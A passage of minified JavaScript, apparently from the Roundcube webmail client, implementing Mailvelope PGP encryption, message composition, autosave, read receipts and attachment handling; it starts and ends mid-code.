t=$("#pagejump-selector"),s=$("ul",t),i=$("li",s),n=(s.height(),parseInt(this.value));if(27!=e.which&&9!=e.which&&13!=e.which&&!t.is(":visible"))return ref.show_menu("pagejump-selector",!0,e);if("keydown"==e.type)if(40==e.which)i.length>n&&(this.value=n+=1);else if(38==e.which)1<n&&i.length>n-1&&(this.value=--n);else{if(13==e.which)return $(this).change();if(27==e.which||9==e.which)return ref.hide_menu("pagejump-selector",e),$(a).val(ref.env.current_page)}$("li.selected",s).removeClass("selected"),(e=$(i[n-1])).length&&(e.addClass("selected"),$("#pagejump-selector").scrollTop(s.height()/i.length*(n-1)-t.height()/2))}).on("change",function(e){var t=parseInt(this.value);t&&t!=ref.env.current_page&&!ref.busy&&(ref.hide_menu("pagejump-selector",e),ref.list_page(t))})},this.update_pagejumper=function(){$("input.rcpagejumper").val(this.env.current_page).prop("disabled",this.env.pagecount<2)},this.check_mailvelope=function(e){window.mailvelope?this.mailvelope_load(e):$(window).on("mailvelope",function(){ref.mailvelope_load(e)})},this.mailvelope_load=function(t){function s(e){ref.mailvelope_keyring=e,ref.mailvelope_init(t,e)}var i=this.env.mailvelope_main_keyring?void 0:this.env.user_id;mailvelope.getVersion().then(function(e){return mailvelope.VERSION=e,mailvelope.VERSION_MAJOR=Math.floor(parseFloat(e)),mailvelope.getKeyring(i)}).then(s,function(e){i?mailvelope.createKeyring(i).then(s,function(e){console.error(e)}):console.error(e)})},this.mailvelope_init=function(e,t){var s,i,n,a,r,o;window.mailvelope&&("show"==e||"preview"==e||"print"==e?this.env.is_pgp_content?(s=$(this.env.is_pgp_content).text(),ref.mailvelope_display_container(this.env.is_pgp_content,s,t)):this.env.pgp_mime_part&&(i=this.display_message("loadingdata","loading"),n=this.env.pgp_mime_container,$.ajax({type:"GET",url:this.url("get",{_mbox:this.env.mailbox,_uid:this.env.uid,_part:this.env.pgp_mime_part}),error:function(e,t,s){ref.http_error(e,t,s,i)},success:function(e){ref.mailvelope_display_container(n,e,t,i)}})):"compose"==e?(this.env.compose_commands.push("compose-encrypted"),a=2<=mailvelope.VERSION_MAJOR,r=0<$('[name="_is_html"]').val(),a&&this.env.compose_commands.push("compose-encrypted-signed"),this.env.pgp_mime_message?(o=this.set_busy(!0,this.get_label("loadingdata")),$.ajax({type:"GET",url:this.url("get",this.env.pgp_mime_message),error:function(e,t,s){ref.http_error(e,t,s,o),ref.enable_command("compose-encrypted",!r),a&&ref.enable_command("compose-encrypted-signed",!r)},success:function(e){ref.set_busy(!1,null,o),r&&(ref.command("toggle-editor",{html:!1,noconvert:!0}),$("#"+ref.env.composebody).val("")),ref.compose_encrypted({quotedMail:e}),ref.enable_command("compose-encrypted",!0),ref.enable_command("compose-encrypted-signed",!1)}})):(this.enable_command("compose-encrypted",!r),a&&this.enable_command("compose-encrypted-signed",!r)),this.addEventListener("actionafter",function(e){e.ret&&"toggle-editor"==e.action&&(ref.enable_command("compose-encrypted",!e.props.html),a)&&ref.enable_command("compose-encrypted-signed",!e.props.html)})):"edit-identity"==e&&ref.mailvelope_identity_keygen())},this.compose_encrypted_signed=function(e){(e=e||{}).signMsg=!0,this.compose_encrypted(e)},this.compose_encrypted=function(e){var t,s=$("#"+this.env.composebody).parent();ref.mailvelope_editor?(ref.mailvelope_editor=null,ref.set_button("compose-encrypted","act"),s.removeClass("mailvelope").find("iframe:not([aria-hidden=true])").remove(),$("#"+ref.env.composebody).show(),$("[name='_pgpmime']").remove(),ref.enable_command("toggle-editor","insert-response",!0),ref.enable_command("spellcheck",!!window.googie),ref.enable_command("insert-sig",!!(ref.env.signatures&&ref.env.identity&&ref.env.signatures[ref.env.identity])),ref.triggerEvent("compose-encrypted",{active:!1})):(this.spellcheck_state()&&this.editor.spellcheck_stop(),t=e.quotedMail?{quotedMail:e.quotedMail,quotedMailIndent:!1}:{predefinedText:$("#"+this.env.composebody).val()},e.signMsg&&(t.signMsg=e.signMsg),"reply"==this.env.compose_mode&&(t.quotedMailIndent=!0,t.quotedMailHeader=this.env.compose_reply_header),mailvelope.createEditorContainer("#"+s.attr("id"),ref.mailvelope_keyring,t).then(function(e){ref.mailvelope_editor=e,ref.set_button("compose-encrypted","sel"),s.addClass("mailvelope"),$("#"+ref.env.composebody).hide(),ref.enable_command("spellcheck","insert-sig","toggle-editor","insert-response",!1),ref.triggerEvent("compose-encrypted",{active:!0}),$.isEmptyObject(ref.env.attachments)||("draft"==ref.env.compose_mode&&1==Object.keys(ref.env.attachments).length&&"encrypted.asc"==ref.env.attachments[Object.keys(ref.env.attachments)[0]].name||ref.alert_dialog(ref.get_label("encryptnoattachments")),$.each(ref.env.attachments,function(e,t){ref.remove_from_attachment_list(e)}))},function(e){console.error(e),console.log(t)}))},this.mailvelope_submit_messageform=function(a,r){var o=[],l=($.each(["to","cc","bcc"],function(e,t){for(var s,i=$('[name="_'+t+'"]').val().trim();i.length&&rcube_check_email(i,!0);)s=RegExp.$2.replace(/^<+/,"").replace(/>+$/,""),o.push(s),i=i.substr(i.indexOf(s)+s.length+1).replace(/^\s*,\s*/,"")}),0<o.length);return ref.mailvelope_keyring.validKeyForAddress(o).then(function(e){var s,i,n=[];return $.each(e,function(e,t){!1===t&&(l=!1,n.push(e))}),!l&&n.length?(ref.simple_dialog(ref.get_label("nopubkeyfor").replace("$email",n.join(", "))+"<p>"+ref.get_label("searchpubkeyservers")+"</p>","encryptedsendialog",function(){ref.mailvelope_search_pubkeys(n,function(){return!0})},{button:"search"}),!1):l?(s=[],i=ref.env.identities[$("[name='_from'] option:selected").val()],$.each(ref.env.identities,function(e,t){s.push(t.email)}),void ref.mailvelope_keyring.validKeyForAddress(s).then(function(e){if(valid_sender=null,$.each(e,function(e,t){if(!1!==t&&(valid_sender=e)==i)return!1}),!valid_sender&&!confirm(ref.get_label("nopubkeyforsender")))return!1;o.push(valid_sender),ref.mailvelope_editor.encrypt(o).then(function(e){var t=ref.gui_objects.messageform,s=$("[name='_pgpmime']",t),i=ref.set_busy(!0,a||r?"savingmessage":"sendingmessage");t.target=ref.get_save_target(i),t._draft.value=a?"1":"",t.action=ref.add_url(t.action,"_unlock",i),t.action=ref.add_url(t.action,"_framed",1),r&&(t.action=ref.add_url(t.action,"_saveonly",1)),(s=s.length?s:$('<input type="hidden" name="_pgpmime">').appendTo(t)).val(e),t.submit()},function(e){console.log(e)})},function(e){console.error(e)})):(o.length||ref.alert_dialog(ref.get_label("norecipientwarning"),function(){$("[name='_to']").focus()}),!1)},function(e){console.error(e)}),!1},this.mailvelope_display_container=function(t,e,s,i){function n(e){$(t+" > iframe").remove(),ref.hide_message(i),ref.display_message(e.message,"error")}mailvelope.createDisplayContainer(t,e,s,{senderAddress:this.env.sender}).then(function(e){if(e.error&&e.error.message)return n(e.error);ref.hide_message(i),$(t).children().not("iframe").hide(),$(ref.gui_objects.messagebody).addClass("mailvelope"),ref.env.pgp_mime_part&&$("#attach"+ref.env.pgp_mime_part).remove(),setTimeout(function(){$(window).resize()},10)},n)},this.mailvelope_search_pubkeys=function(e,t,s){var n=[],a=new PublicKey(this.env.keyservers),r=ref.display_message("","loading");$.each(e,function(e,s){var i=$.Deferred();a.search(s,function(e,t){null!==t?i.resolve([s]):i.resolve([s].concat(e))}),n.push(i)}),$.when.apply($,n).then(function(){var i=[],n=[];$.each(arguments,function(e,t){var s=t.shift();t.length?n=n.concat(t):i.push(s)}),ref.hide_message(r),t(!0),n.length&&ref.mailvelope_key_import_dialog(n,s),i.length&&ref.display_message(ref.get_label("nopubkeyfor").replace("$email",i.join(", ")),"warning")}).fail(function(){console.error("Pubkey lookup failed with",arguments),ref.hide_message(r),ref.display_message("pubkeysearcherror","error"),t(!1)})},this.mailvelope_key_import_dialog=function(e,a){var n=$("<div>").addClass("listing pgpkeyimport");$.each(e,function(e,t){var s=$("<div>").addClass("key"),i=(t.revoked&&s.addClass("revoked"),t.disabled&&s.addClass("disabled"),t.expired&&s.addClass("expired"),s.append($("<label>").addClass("keyid").text(ref.get_label("keyid"))),s.append($("<a>").text(t.keyid.substr(-8).toUpperCase()).attr({href:t.info,target:"_blank",tabindex:"-1"})),s.append($("<label>").addClass("keylen").text(ref.get_label("keylength"))),s.append($("<span>").text(t.keylen)),t.expirationdate&&(s.append($("<label>").addClass("keyexpired").text(ref.get_label("keyexpired"))),s.append($("<span>").text(new Date(1e3*t.expirationdate).toDateString()))),t.revoked&&s.append($("<span>").addClass("keyrevoked").text(ref.get_label("keyrevoked"))),$("<ul>").addClass("uids"));$.each(t.uids,function(e,t){var s=$("<li>").addClass("uid");t.revoked&&s.addClass("revoked"),t.disabled&&s.addClass("disabled"),t.expired&&s.addClass("expired"),i.append(s.text(t.uid))}),s.append(i),s.append($("<button>").attr("rel",t.keyid).text(ref.get_label("import")).addClass("button import importkey").prop("disabled",t.revoked||t.disabled||t.expired)),n.append(s)}),ref.simple_dialog($("<div>").append($("<p>").html(ref.get_label("encryptpubkeysfound"))).append(n),"importpubkeys",null,{cancel_label:"close",cancel_button:"close"}),n.on("click","button.importkey",function(){var s=$(this),i=s.attr("rel"),e=new PublicKey(ref.env.keyservers),n=ref.display_message("","loading");e.get(i,function(e,t){ref.hide_message(n),t?ref.display_message("keyservererror","error"):a?a(e):ref.mailvelope_keyring.importPublicKey(e).then(function(e){"REJECTED"!==e&&(e=i.substr(-8).toUpperCase(),s.closest(".key").fadeOut(),ref.display_message(ref.get_label("keyimportsuccess").replace("$key",e),"confirmation"))},function(e){console.log(e)})})})},this.mailvelope_identity_keygen=function(){var i=$(this.gui_objects.editform).find(".identity-encryption").first(),n=$(this.gui_objects.editform).find(".ff_email").val().trim();i.length&&n&&this.mailvelope_keyring.createKeyGenContainer&&this.mailvelope_keyring.validKeyForAddress([n]).then(function(e){var s=[];if(e&&e[n]&&Array.isArray(e[n].keys)){for(var t=[],i=0;i<e[n].keys.length;i++)t.push(function(t){return ref.mailvelope_keyring.hasPrivateKey(t.fingerprint).then(function(e){e&&s.push(t)})}(e[n].keys[i]));return Promise.all(t).then(function(){return s})}return s}).then(function(e){var s,t=i.find(".identity-encryption-block").empty();e&&e.length?($("<p>").text(ref.get_label("encryptionprivkeysinmailvelope").replace("$nr",e.length)).appendTo(t),s=$("<ul>").addClass("keylist").appendTo(t),$.each(e,function(e,t){$("<li>").appendTo(s).append($("<strong>").addClass("fingerprint").text(String(t.fingerprint).toUpperCase())).append($("<span>").addClass("identity").text("<"+n+"> "))})):$("<p>").text(ref.get_label("encryptionnoprivkeysinmailvelope")).appendTo(t),$("<button>").attr("type","button").addClass("button create").text(ref.get_label("encryptioncreatekey")).appendTo(t).on("click",function(){ref.mailvelope_show_keygen_container(t,n)}),$("<span>").addClass("space").html("&nbsp;").appendTo(t),$("<button>").attr("type","button").addClass("button settings").text(ref.get_label("openmailvelopesettings")).appendTo(t).on("click",function(){ref.mailvelope_keyring.openSettings()}),i.show(),ref.triggerEvent("identity-encryption-show",{container:i})}).catch(function(e){console.error("Mailvelope keyring error",e)})},this.mailvelope_show_keygen_container=function(t,s){var e=(new Date).getTime(),i={userIds:[{email:s,fullName:$(ref.gui_objects.editform).find(".ff_name").val().trim()}],keySize:this.env.mailvelope_keysize};$("<div>").attr("id","mailvelope-keygen-container-"+e).css({height:"245px",marginBottom:"10px"}).appendTo(t.empty()),this.mailvelope_keyring.createKeyGenContainer("#mailvelope-keygen-container-"+e,i).then(function(e){if(e instanceof Error)throw e;$("<button>").attr("type","button").addClass("button mainaction generate").text(ref.get_label("generate")).appendTo(t).on("click",function(){var t=$(this).prop("disabled",!0);e.generate().then(function(e){"string"==typeof e&&0<e.indexOf("BEGIN PGP")&&(ref.display_message(ref.get_label("keypaircreatesuccess").replace("$identity",s),"confirmation"),ref.mailvelope_identity_keygen())}).catch(function(e){ref.display_message(e.message||"errortitle","error"),t.prop("disabled",!1)})}),$("<span>").addClass("space").html("&nbsp;").appendTo(t),$("<button>").attr("type","button").addClass("button cancel").text(ref.get_label("cancel")).appendTo(t).on("click",function(){ref.mailvelope_identity_keygen()}),ref.triggerEvent("identity-encryption-update",{container:t})}).catch(function(e){ref.display_message("errortitle","error"),ref.mailvelope_identity_keygen()})},this.mdn_request_dialog=function(e,t){var i={action:"mark",data:{_uid:e,_mbox:t,_flag:"mdnsent"}},e=[{text:this.get_label("send"),class:"mainaction send",click:function(e,t,s){i.action="sendmdn",(ref.is_framed()?parent.$:$)(s||this).dialog("close")}},{text:this.get_label("ignore"),class:"cancel",click:function(e,t,s){(ref.is_framed()?parent.$:$)(s||this).dialog("close")}}];this.env.mdn_request_save&&e.unshift({text:this.get_label("sendalwaysto").replace("$email",this.env.mdn_request_sender.mailto),class:"mainaction send",click:function(e,t,s){i.data._save=ref.env.mdn_request_save,i.data._address=ref.env.mdn_request_sender.string,$(e.target).next().click()}}),this.show_popup_dialog(this.get_label("mdnrequest"),this.get_label("sendreceipt"),e,{close:function(e,t){ref.http_post(i.action,i.data),$(this).remove()}})},this.expunge_mailbox=function(e){var t,s={_mbox:e};e==this.env.mailbox&&(t=this.set_busy(!0,"loading"),s._reload=1,this.env.search_request)&&(s._search=this.env.search_request),this.http_post("expunge",s,t)},this.purge_mailbox=function(s){return this.confirm_dialog(this.get_label("purgefolderconfirm"),"delete",function(){var e,t={_mbox:s};s==ref.env.mailbox&&(e=ref.set_busy(!0,"loading"),t._reload=1),ref.http_post("purge",t,e)}),!1},this.mark_all_read=function(e,s){var n,t,a=[],i=this.message_list,r=e||this.env.mailbox,e={_uid:"*",_flag:"read",_mbox:r,_folders:s};if("string"!=typeof s){if(!(n=this.mark_all_read_state(r)))return;if(1<n)return $.each({cur:1,sub:2,all:4},function(e,t){var s="readallmode"+e,i=$("<label>").attr("for",s).text(ref.get_label("folders-"+e)),e=$("<input>").attr({type:"radio",value:e,name:"mode",id:s,disabled:!(n&t)});a.push($("<li>").append([e,i]))}),t=$('<ul class="proplist">').append(a),$("input:not([disabled])",t).first().attr("checked",!0),void this.simple_dialog(t,"markallread",function(){return ref.mark_all_read(r,$("input:checked",t).val()),!0},{button:"mark",button_class:"save"});e._folders="cur"}$.each(i?i.rows:[],function(e,t){t.unread&&(t=ref.env.messages[e].mbox,"all"==s||t==ref.env.mailbox||"sub"==s&&t.startsWith(ref.env.mailbox+ref.env.delimiter))&&ref.set_message(e,"unread",!1)}),this.http_post("mark",e,this.display_message("markingmessage","loading"))},this.mark_all_read_state=function(e){var t=0,e=this.treelist.get_item(e||this.env.mailbox),s=$(e).is(".unread")?1:0,e=$("li.unread",e).length,i=$("li.unread",ref.gui_objects.folderlist).length;return this.enable_command("mark-all-read",0<(t=(t+=s)+(e?2:0)+(s+e<i?4:0))),t},this.bounce=function(e,t,s){var i=this.get_single_uid(),i=this.url("bounce",{_framed:1,_uid:i,_mbox:this.get_message_mailbox(i)}),n=$("<iframe>").attr("src",i),a=function(){var e=$("iframe",n)[0].contentWindow.rcmail;return{rc:e,form:e.gui_objects.messageform}},r=function(){var e={},t=a();$.each($(t.form).serializeArray(),function(){e[this.name]=this.value}),e._uid=t.rc.env.uid,e._mbox=t.rc.env.mailbox,delete e._action,delete e._task,(e._to||e._cc||e._bcc)&&(ref.http_post("bounce",e,ref.set_busy(!0,"sendingmessage")),n.dialog("close"))};return this.hide_menu("forwardmenu",s),n=this.simple_dialog(n,"bouncemsg",function(){var e=a();return"object"==typeof e.form&&!!e.rc.check_compose_address_fields(r,e.form)&&r()},{button:"bounce",width:400,height:300}),!0},this.open_compose_step=function(e){e=this.url("mail/compose",e);this.env.compose_extwin&&!this.env.extwin?this.open_window(e):(this.redirect(e),this.env.extwin&&window.resizeTo(Math.max(this.env.popup_width,$(window).width()),$(window).height()+24))},this.init_messageform=function(){if(!this.gui_objects.messageform)return!1;var e,t,s=$("[name='_from']"),i=$("[name='_to']"),n=$("[name='_subject']"),a=$("[name='_message']").get(0),r="1"==$("[name='_is_html']").val(),o=this.opener();o&&"compose"==o.env.action&&(setTimeout(function(){1<opener.history.length?opener.history.back():o.redirect(o.get_task_url("mail"))},100),this.env.opened_extwin=!0),r||(a.value&&void 0!==a.defaultValue&&(a.value=a.defaultValue),t=this.env.top_posting&&this.env.compose_mode?0:a.value.length,"select-one"==s.prop("type")&&(this.set_caret_pos(a,0),this.change_identity(s[0])),this.set_caret_pos(a,t),t&&$(a).scrollTop(a.scrollHeight)),this.env.save_localstorage&&this.compose_restore_dialog(0,r),""==i.val()?e=i:""==n.val()?e=n:a&&(e=a),this.env.compose_focus_elem=this.init_messageform_inputs(e),this.compose_field_hash(!0),this.auto_save_start()},this.init_messageform_inputs=function(e){var t,s=$("[name='_to']"),i=["cc","bcc","replyto","followupto"];for(t in this.init_address_input_events(s),i)this.init_address_input_events($("[name='_"+i[t]+"']"));return e=e||s,$(e).focus().get(0)},this.compose_restore_dialog=function(e,t){function s(e){++e<a.length&&ref.compose_restore_dialog(e,t)}for(var i,n,a=this.local_storage_get_item("compose.index",[]),r=e||0;r<a.length;r++)if(i=a[r],n=this.local_storage_get_item("compose."+i,null,!0)){if(n.changed&&i==this.env.compose_id){this.restore_compose_form(i,t);break}if((!this.env.draft_id||!n.draft_id||n.draft_id==this.env.draft_id)&&(!this.env.reply_msgid||n.reply_msgid==this.env.reply_msgid)&&n.changed&&n.session!=this.env.session_id){this.show_popup_dialog(this.get_label("restoresavedcomposedata").replace("$date",new Date(n.changed).toLocaleString()).replace("$subject",n._subject).replace(/\n/g,"<br/>"),this.get_label("restoremessage"),[{text:this.get_label("restore"),class:"mainaction restore",click:function(){ref.restore_compose_form(i,t),ref.remove_compose_data(i),ref.save_compose_form_local(),$(this).dialog("close")}},{text:this.get_label("delete"),class:"delete",click:function(){ref.remove_compose_data(i),$(this).dialog("close"),s(r)}},{text:this.get_label("ignore"),class:"cancel",click:function(){$(this).dialog("close"),s(r)}}]);break}}},this.init_address_input_events=function(e,t){!t&&0<this.env.autocomplete_threads&&(t={threads:this.env.autocomplete_threads,sources:this.env.autocomplete_sources}),e.keydown(function(e){return ref.ksearch_keydown(e,this,t)}).attr({autocomplete:"off","aria-autocomplete":"list","aria-expanded":"false",role:"combobox"});function s(e){ref.ksearch_pane&&e.target===ref.ksearch_pane.get(0)||ref.ksearch_hide()}$(document).on("click",s),document.addEventListener("scroll",s,!0)},this.submit_messageform=function(e,t){var s,i,n,a=this.gui_objects.messageform;if(a)return!t&&this.env.is_sent?this.simple_dialog(this.get_label("messageissent"),"",function(){return ref.submit_messageform(!1,!0),!0}):this.mailvelope_editor?this.mailvelope_submit_messageform(e,t):(s=this.set_busy(!0,e||t?"savingmessage":"sendingmessage"),i=this.spellcheck_lang(),n=[],$("li",this.gui_objects.attachmentlist).each(function(){n.push(this.id.replace(/^rcmfile/,""))}),$('[name="_attachments"]',a).val(n.join()),a.target=this.get_save_target(s),a._draft.value=e?"1":"",a.action=this.add_url(a.action,"_unlock",s),a.action=this.add_url(a.action,"_framed",1),i&&(a.action=this.add_url(a.action,"_lang",i)),t&&(a.action=this.add_url(a.action,"_saveonly",1)),this.submit_timer=setTimeout(function(){ref.set_busy(!1,null,s),ref.display_message("requesttimedout","error")},1e3*this.env.request_timeout),void a.submit())},this.compose_recipient_select=function(e){for(var t,s=0,i=e.get_selection(),n=0;n<i.length;n++)t=i[n],this.env.contactdata[t]&&s++;this.enable_command("add-recipient",s)},this.compose_add_recipient=function(e){e=e||((e=$(this.env.focused_field).filter(":visible")).length?e.attr("id").replace("_",""):"to");var t,s=[],i=$("#_"+e),n=this.contact_list.get_selection();if(this.contact_list&&n.length)for(var a,r,o,l=0;l<n.length;l++)(o=n[l])&&(a=this.env.contactdata[o])&&(r=a.name||a,"E"==o.charAt(0)&&i.length&&(r="​"+r+"​",o=o.substr(1),this.group2expand[o]={name:r,input:i.get(0)},this.http_request("group-expand",{_source:a.source||this.env.source,_gid:o},!1)),s.push(r));return s.length&&i.length&&((t=i.val())&&!/[,;]\s*$/.test(t)&&(t+=", "),i.val(t+s.join(", ")+", ").change(),this.triggerEvent("add-recipient",{field:e,recipients:s})),s.length},this.check_compose_input=function(e){var t,s,i,n,a=$("[name='_subject']");for(t in this.env.attachments)if("object"==typeof this.env.attachments[t]&&!this.env.attachments[t].complete)return this.alert_dialog(this.get_label("notuploadedwarning")),!1;return this.env.nosubject_warned||""!=a.val()?this.mailvelope_editor||this.editor.get_content()||confirm(this.get_label("nobodywarning"))?!!this.check_compose_address_fields(e)&&(this.editor.save(),!0):(this.editor.focus(),!1):(s=$("<input>").attr({type:"text",size:40,"data-submit":"true"}),i=$('<div class="prompt">').append($('<p class="message">').text(this.get_label("nosubjectwarning"))).append(s),n=this.show_popup_dialog(i,this.get_label("nosubjecttitle"),[{text:this.get_label("sendmessage"),class:"mainaction send",click:function(){a.val(s.val()),n.dialog("close"),ref.check_compose_input(e)&&ref.command(e,{nocheck:!0})}},{text:this.get_label("cancel"),class:"cancel",click:function(){a.focus(),n.dialog("close")}}],{dialogClass:"warning"}),!(this.env.nosubject_warned=!0))},this.check_compose_address_fields=function(t,e){e=e||window.document;function s(e){return(e=$.map(e,function(e){return(e=e.val().trim()).length?e:null})).join(",").replace(/^[\s,;]+/,"").replace(/[\s,;]+$/,"")}var i,n,a,r=this.env.max_disclosed_recipients,o=$("[name='_to']",e),l=$("[name='_cc']",e),c=$("[name='_bcc']",e),h=$("[name='_from']",e);return"text"!=h.prop("type")||rcube_check_email(h.val(),!0)?rcube_check_email(s([o,l,c]),!0)?!(r&&!this.env.disclosed_recipients_warned&&rcube_check_email(i=s([o,l]),!0,!0)>r&&(n=function(e){e&&(e=c.val(),c.val((e?e+", ":"")+i).change(),o.val("").change(),l.val("").change()),a.dialog("close"),"function"==typeof t?t():t&&ref.command(t,{nocheck:!0})},a=this.show_popup_dialog(this.get_label("disclosedrecipwarning"),this.get_label("disclosedreciptitle"),[{text:this.get_label("sendmessage"),click:function(){n(!1)},class:"mainaction"},{text:this.get_label("bccinstead"),click:function(){n(!0)}},{text:this.get_label("cancel"),click:function(){a.dialog("close")},class:"cancel"}],{dialogClass:"warning"}),this.env.disclosed_recipients_warned=!0)):(this.alert_dialog(this.get_label("norecipientwarning"),function(){o.focus()}),!1):(this.alert_dialog(this.get_label("nosenderwarning"),function(){h.focus()}),!1)},this.toggle_editor=function(e,t,s){var i=this.editor.toggle(e.html,e.noconvert||!1),s=$("#"+this.editor.id).data("control")||$(s?s.target:[]),e=i?e.html?"html":"plain":e.html?"plain":"html";return $("[name='_is_html']").val("html"==e?1:0),s.is("[type=checkbox]")?s.prop("checked","html"==e):s.val(e),i},this.insert_response=function(e){var t;"object"==typeof e?((t={})[e.is_html?"html":"text"]=e.data,this.editor.replace(t),this.display_message("responseinserted","confirmation")):(t=this.display_message("","loading"),this.http_get("settings/response-get",{_id:e,_is_html:this.editor.is_html()?1:0},t))},this.spellcheck_state=function(){var s=this.editor.spellcheck_state();return $.each(this.buttons.spellcheck||[],function(e,t){$("#"+t.id)[s?"addClass":"removeClass"]("selected")}),s},this.spellcheck_lang=function(){return this.editor.get_language()},this.spellcheck_lang_set=function(e){this.editor.set_language(e)},this.spellcheck_resume=function(e){this.editor.spellcheck_resume(e)},this.set_draft_id=function(e){var t;e&&e!=this.env.draft_id&&((t=this.opener(!(t={task:"mail",action:""}),t)||this.opener(!0,t))&&t.env.mailbox==this.env.drafts_mailbox&&t.command("checkmail"),this.env.draft_id=e,$("[name='_draft_saveid']").val(e)),this.remove_compose_data(this.env.compose_id),this.compose_skip_unsavedcheck=!1},this.get_save_target=function(e){return this.dummy_iframe("savetarget","javascript:false;").on("load error",function(){e&&0==$(this).contents().find('meta[name="generator"][content="Roundcube"]').length&&(ref.iframe_loaded(e),ref.display_message("connerror","error")),$(this).remove()}),"savetarget"},this.auto_save_start=function(){this.env.draft_autosave&&(this.save_timer=setTimeout(function(){ref.command("savedraft")},1e3*this.env.draft_autosave)),!this.local_save_timer&&window.localStorage&&this.env.save_localstorage&&(this.compose_type_activity=this.compose_type_activity_last=0,$(document).keypress(function(e){ref.compose_type_activity++}),this.local_save_timer=setInterval(function(){ref.compose_type_activity>ref.compose_type_activity_last&&(ref.save_compose_form_local(),ref.compose_type_activity_last=ref.compose_type_activity)},5e3),$(window).on("unload",function(){ref.env.server_error||ref.remove_compose_data(ref.env.compose_id)})),window.onbeforeunload||(window.onbeforeunload=function(){if(!ref.compose_skip_unsavedcheck&&ref.cmp_hash!=ref.compose_field_hash())return ref.get_label("notsentwarning")}),this.busy=!1},this.compose_field_hash=function(e){for(var t,s,i="",n=["to","cc","bcc","subject"],a=0;a<n.length;a++)(s=$('[name="_'+n[a]+'"]').val())&&(i+=s+":");for(t in i+=this.editor.get_content({refresh:!1}),this.env.attachments)i+=t;return this.mailvelope_editor&&(i+=";"+(new Date).getTime()),e&&(this.cmp_hash=i),i},this.save_compose_form_local=function(){var s,i,e,t;this.env.save_localstorage&&(s={session:this.env.session_id,changed:(new Date).getTime()},i=!0,this.editor.save(),this.env.draft_id&&(s.draft_id=this.env.draft_id),this.env.reply_msgid&&(s.reply_msgid=this.env.reply_msgid),$("input, select, textarea",this.gui_objects.messageform).each(function(e,t){switch(t.tagName.toLowerCase()){case"input":"button"==t.type||"submit"==t.type||"hidden"==t.type&&"_is_html"!=t.name||(s[t.name]="checkbox"!=t.type||t.checked?$(t).val():"",""!=s[t.name]&&"hidden"!=t.type&&(i=!1));break;case"select":s[t.name]=$("option:checked",t).val();break;default:s[t.name]=$(t).val(),""!=s[t.name]&&(i=!1)}}),i||(e=this.local_storage_get_item("compose.index",[]),t=this.env.compose_id,$.inArray(t,e)<0&&e.push(t),this.local_storage_set_item("compose."+t,s,!0),this.local_storage_set_item("compose.index",e)))},this.restore_compose_form=function(e,t){e=this.local_storage_get_item("compose."+e,!0);e&&"object"==typeof e&&($.each(e,function(e,t){"_"==e[0]&&((e=$("[name="+e+"]"))[0]&&"checkbox"==e[0].type?e.prop("checked",""!=t):e.val(t).change())}),"1"==e._is_html&&!t||"1"!=e._is_html&&t)&&this.command("toggle-editor",{id:this.env.composebody,html:!t,noconvert:!0})},this.remove_compose_data=function(s){var e=this.local_storage_get_item("compose.index",[]);0<=$.inArray(s,e)&&(this.local_storage_remove_item("compose."+s),this.local_storage_set_item("compose.index",$.grep(e,function(e,t){return e!=s})))},this.clear_compose_data=function(){for(var e=this.local_storage_get_item("compose.index",[]),t=0;t<e.length;t++)this.local_storage_remove_item("compose."+e[t]);this.local_storage_remove_item("compose.index")},this.change_identity=function(e,t){var a,r,s;return!(!e||!e.options)&&(a=$(e).val(),e=this.env.signatures&&this.env.signatures[a],r=this.env.identity,s=t||this.env.show_sig,e?(this.enable_command("insert-sig",!0),this.env.compose_commands.push("insert-sig"),e=!0):this.enable_command("insert-sig",!1),this.env.identities_initialized||(this.env.identities_initialized=!0,this.env.show_sig_later&&(this.env.show_sig=!0),!this.env.opened_extwin)?($.each(["replyto","bcc"],function(){var e,t=r&&ref.env.identities[r]?ref.env.identities[r][this]:"",s=a&&ref.env.identities[a]?ref.env.identities[a][this]:"",i=$('[name="_'+this+'"]'),n=i.val();t&&n&&(e=new RegExp("\\s*"+RegExp.escape(t)+"\\s*"),n=n.replace(e,"")),n=String(n).replace(/[,;]\s*[,;]/g,",").replace(/^[\s,;]+/,""),s&&-1==n.indexOf(s)&&-1==n.indexOf(s.replace(/"/g,""))&&(n=n&&n.replace(/[,;\s]+$/,"")+", ",n+=s+", "),(t||s)&&i.val(n).change()}),this.editor&&this.editor.change_signature(a,s),t&&e&&this.display_message("siginserted","confirmation"),this.env.identity=a,this.triggerEvent("change_identity"),!0):void 0)},this.upload_input=function(e){$("#"+e+' input[type="file"]').click()},this.upload_file=function(e,t,s){var i,n;if(e)return n=[],$("input",e).each(function(){if(this.files){i=this.name;for(var e=0;e<this.files.length;e++)n.push(this.files[e])}}),this.file_upload(n,{_id:this.env.compose_id||""},{name:i,action:t,lock:s})},this.add2attachment_list=function(e,t,s){var i,n;return s&&this.triggerEvent("fileuploaded",{name:e,attachment:t,id:s}),s&&this.env.attachments[s]&&delete this.env.attachments[s],this.env.attachments[e]=t,!!this.gui_objects.attachmentlist&&(i=$("<li>"),!t.complete&&t.html.indexOf("<")<0&&(t.html='<span class="uploading">'+t.html+"</span>"),!t.complete&&this.env.loadingicon&&(t.html='<img src="'+this.env.loadingicon+'" alt="" class="uploading" />'+t.html),t.complete||(n=this.get_label("cancel"),t.html='<a title="'+n+'" onclick="return rcmail.cancel_attachment_upload(\''+e+'\');" href="#cancelupload" class="cancelupload">'+(this.env.cancelicon?'<img src="'+this.env.cancelicon+'" alt="'+n+'" />':'<span class="inner">'+n+"</span>")+"</a>"+t.html),i.attr("id",e).addClass(t.classname).html(t.html).find(".attachment-name").on("mouseover",function(){rcube_webmail.long_subject_title_ex(this)}),s&&(n=document.getElementById(s))?i.replaceAll(n):i.appendTo(this.gui_objects.attachmentlist),n=$(this.gui_objects.attachmentlist).attr("data-tabindex")||"0",i.find("a").attr("tabindex",n),this.triggerEvent("fileappended",{name:e,attachment:t,id:s,item:i}),!0)},this.remove_from_attachment_list=function(e){delete this.env.attachments[e],$("#"+e).remove()},this.remove_attachment=function(e){return e&&this.env.attachments[e]&&this.http_post("remove-attachment",{_id:this.env.compose_id,_file:e}),!1},this.cancel_attachment_upload=function(e){return e&&this.uploads[e]&&(this.remove_from_attachment_list(e),this.uploads[e].abort()),!1},this.rename_attachment=function(t){var s,e,i=this.env.attachments[t];i&&(s=$("<input>").attr({type:"text",size:50}).val(i.name),e=$("<label>").text(this.get_label("namex")).append(s),this.simple_dialog(e,"attachmentrename",function(){var e;if((e=s.val())&&e!=i.name)return 